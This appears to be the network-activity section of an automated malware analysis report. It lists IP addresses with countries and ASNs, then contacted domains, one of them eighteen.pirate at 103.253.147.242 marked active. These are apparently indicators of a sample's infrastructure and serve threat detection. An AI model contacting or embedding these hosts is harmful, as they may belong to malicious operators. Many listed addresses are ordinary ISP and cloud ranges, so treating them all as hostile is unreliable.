3.46.244.210
 unknown United States
8987 AMAZONEXPANSIONGB false
102.67.120.201
 unknown Burkina Faso
37721 Virtual-Technologies-Solutions-SABF false
73.59.96.160
 unknown United States
7922 COMCAST-7922US false
219.164.52.148
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
55.233.45.202
 unknown United States
306 DNIC-ASBLK-00306-00371US false
69.182.241.201
 unknown United States
7018 ATT-INTERNET4US false
48.70.9.8
 unknown United States
2686 ATGS-MMD-ASUS false
22.213.174.93
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
36.187.105.146
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
37.142.2.236
 unknown Israel
12849 HOTNET-ILAMS-IXAdminLANIL false
4.169.136.226
 unknown United States
3356 LEVEL3US false
220.243.135.149
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
18.52.40.184
 unknown United States
3 MIT-GATEWAYSUS false
145.162.28.56
 unknown Netherlands
59524 KPN-IAASNL false
161.208.235.173
 unknown United States
23496 CAMBIAHEALTHUS false
161.230.55.105
 unknown Portugal
12353 VODAFONE-PTVodafonePortugalPT false
5.66.172.177
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
31.85.242.44
 unknown United Kingdom
12576 EELtdGB false
122.135.171.84
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
181.194.65.126
 unknown Costa Rica
11830 InstitutoCostarricensedeElectricidadyTelecomCR false
16.102.120.231
 unknown United States
unknown unknown false
80.103.233.29
 unknown Spain
12479 UNI2-ASES false
79.215.172.147
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
150.66.73.19
 unknown Japan 17511 OPTAGEOPTAGEIncJP false
148.219.72.127
 unknown Mexico
8151 UninetSAdeCVMX false
68.247.173.35
 unknown United States
10507 SPCSUS false
55.106.129.109
 unknown United States
361 DNIC-ASBLK-00306-00371US false
148.150.89.238
 unknown United States
55013 MTSSYSTEMSCORPUS false
189.145.18.137
 unknown Mexico
8151 UninetSAdeCVMX false
128.35.200.72
 unknown United States
10879 UHCUS false

Contacted Domains

Name IP Active
eighteen.pirate 103.253.147.242 true
eighteen.pirate. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
75cents.libre. [malformed] unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
2joints.libre. [malformed] unknown unknown